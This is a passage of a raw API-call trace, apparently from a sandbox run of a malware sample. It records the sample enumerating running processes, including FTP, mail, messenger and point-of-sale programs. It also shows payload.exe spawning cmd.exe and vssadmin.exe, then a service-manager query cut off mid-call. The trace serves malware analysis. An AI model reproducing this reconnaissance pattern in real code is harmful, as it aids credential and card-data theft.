[0048.402] lstrlenW (lpString="revolution_qualities.exe") returned 24 [0048.402] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="roger-venice.exe")) returned 1 [0048.402] lstrlenW (lpString="roger-venice.exe") returned 16 [0048.402] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cite.exe")) returned 1 [0048.403] lstrlenW (lpString="cite.exe") returned 8 [0048.403] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="popularity_segments_sell.exe")) returned 1 [0048.403] lstrlenW (lpString="popularity_segments_sell.exe") returned 28 [0048.403] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="genius regulation transform.exe")) returned 1 [0048.403] lstrlenW (lpString="genius regulation transform.exe") returned 31 [0048.403] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist_selecting.exe")) returned 1 [0048.404] lstrlenW (lpString="artist_selecting.exe") returned 20 [0048.404] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="poems.exe")) returned 1 [0048.404] lstrlenW (lpString="poems.exe") returned 9 [0048.404] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bow.exe")) returned 1 [0048.405] lstrlenW (lpString="bow.exe") returned 7 [0048.405] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artworkcustomerprecise.exe")) returned 1 [0048.405] lstrlenW (lpString="artworkcustomerprecise.exe") returned 26 [0048.405] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="businesses.exe")) returned 1 [0048.405] lstrlenW (lpString="businesses.exe") returned 14 [0048.405] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="lucky.exe")) returned 1 [0048.406] lstrlenW (lpString="lucky.exe") returned 9 [0048.407] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="routine_mall_hebrew.exe")) returned 1 [0048.407] lstrlenW (lpString="routine_mall_hebrew.exe") returned 23 [0048.407] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="healthmanner.exe")) returned 1 [0048.407] lstrlenW (lpString="healthmanner.exe") returned 16 [0048.408] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0048.408] lstrlenW (lpString="3dftp.exe") returned 9 [0048.408] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0048.408] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0048.408] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0048.409] lstrlenW (lpString="alftp.exe") returned 9 [0048.409] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0048.409] lstrlenW (lpString="barca.exe") returned 9 [0048.409] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0048.409] lstrlenW (lpString="bitkinex.exe") returned 12 [0048.409] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0048.410] lstrlenW (lpString="coreftp.exe") returned 11 [0048.410] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0048.410] lstrlenW (lpString="far.exe") returned 7 [0048.410] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0048.411] lstrlenW (lpString="filezilla.exe") returned 13 [0048.411] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0048.411] lstrlenW (lpString="flashfxp.exe") returned 12 [0048.411] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0048.411] lstrlenW (lpString="fling.exe") returned 9 [0048.411] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0048.412] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0048.412] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0048.412] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0048.412] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0048.412] lstrlenW (lpString="icq.exe") returned 7 [0048.413] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0048.413] lstrlenW (lpString="leechftp.exe") returned 12 [0048.413] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0048.530] lstrlenW (lpString="ncftp.exe") returned 9 [0048.530] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0048.530] lstrlenW (lpString="notepad.exe") returned 11 [0048.530] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0048.531] lstrlenW (lpString="operamail.exe") returned 13 [0048.531] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0048.531] lstrlenW (lpString="pidgin.exe") returned 10 [0048.531] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0048.532] lstrlenW (lpString="scriptftp.exe") returned 13 [0048.532] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0048.532] lstrlenW (lpString="skype.exe") returned 9 [0048.533] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0048.533] lstrlenW (lpString="smartftp.exe") returned 12 [0048.533] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0048.534] lstrlenW (lpString="thunderbird.exe") returned 15 [0048.534] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0048.534] lstrlenW (lpString="totalcmd.exe") returned 12 [0048.534] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0048.535] lstrlenW (lpString="trillian.exe") returned 12 [0048.535] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0048.535] lstrlenW (lpString="webdrive.exe") returned 12 [0048.535] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0048.536] lstrlenW (lpString="whatsapp.exe") returned 12 [0048.536] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0048.536] lstrlenW (lpString="winscp.exe") returned 10 [0048.536] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0048.537] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0048.537] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0048.538] lstrlenW (lpString="active-charge.exe") returned 17 [0048.538] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0048.538] lstrlenW (lpString="accupos.exe") returned 11 [0048.538] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0048.539] lstrlenW (lpString="afr38.exe") returned 9 [0048.539] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0048.539] lstrlenW (lpString="aldelo.exe") returned 10 [0048.539] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0048.540] lstrlenW (lpString="ccv_server.exe") returned 14 [0048.540] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0048.540] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0048.540] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0048.541] lstrlenW (lpString="creditservice.exe") returned 17 [0048.541] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0048.541] lstrlenW (lpString="edcsvr.exe") returned 10 [0048.541] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0048.542] lstrlenW (lpString="fpos.exe") returned 8 [0048.542] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0048.542] lstrlenW (lpString="isspos.exe") returned 10 [0048.542] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0048.543] lstrlenW (lpString="mxslipstream.exe") returned 16 [0048.543] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0048.544] lstrlenW (lpString="omnipos.exe") returned 11 [0048.544] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0048.544] lstrlenW (lpString="spcwin.exe") returned 10 [0048.544] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0048.545] lstrlenW (lpString="spgagentservice.exe") returned 19 [0048.545] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0048.546] lstrlenW (lpString="utg2.exe") returned 8 [0048.546] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-chronicles.exe")) returned 1 [0048.546] lstrlenW (lpString="pending-chronicles.exe") returned 22 [0048.546] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="um-classroom-barry.exe")) returned 1 [0048.547] lstrlenW (lpString="um-classroom-barry.exe") returned 22 [0048.547] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notebook.exe")) returned 1 [0048.547] lstrlenW (lpString="notebook.exe") returned 12 [0048.547] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="stable_platform_spend.exe")) returned 1 [0048.548] lstrlenW (lpString="stable_platform_spend.exe") returned 25 [0048.548] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="current.exe")) returned 1 [0048.548] lstrlenW (lpString="current.exe") returned 11 [0048.548] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0048.549] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0048.549] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0048.549] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0048.549] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0048.550] lstrlenW (lpString="taskhost.exe") returned 12 [0048.550] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0048.550] lstrlenW (lpString="payload.exe") returned 11 [0048.550] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0048.551] lstrlenW (lpString="cmd.exe") returned 7 [0048.551] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0048.551] lstrlenW (lpString="conhost.exe") returned 11 [0048.551] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x714, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0048.551] lstrlenW (lpString="vssadmin.exe") returned 12 [0048.551] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0048.552] lstrlenW (lpString="VSSVC.exe") returned 9 [0048.552] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.552] lstrlenW (lpString="svchost.exe") returned 11 [0048.552] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0048.553] CloseHandle (hObject=0x200) returned 1 [0048.553] Sleep (dwMilliseconds=0x1f4) [0049.489] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8ffaf0 [0049.489] EnumServicesStatusExW (in: 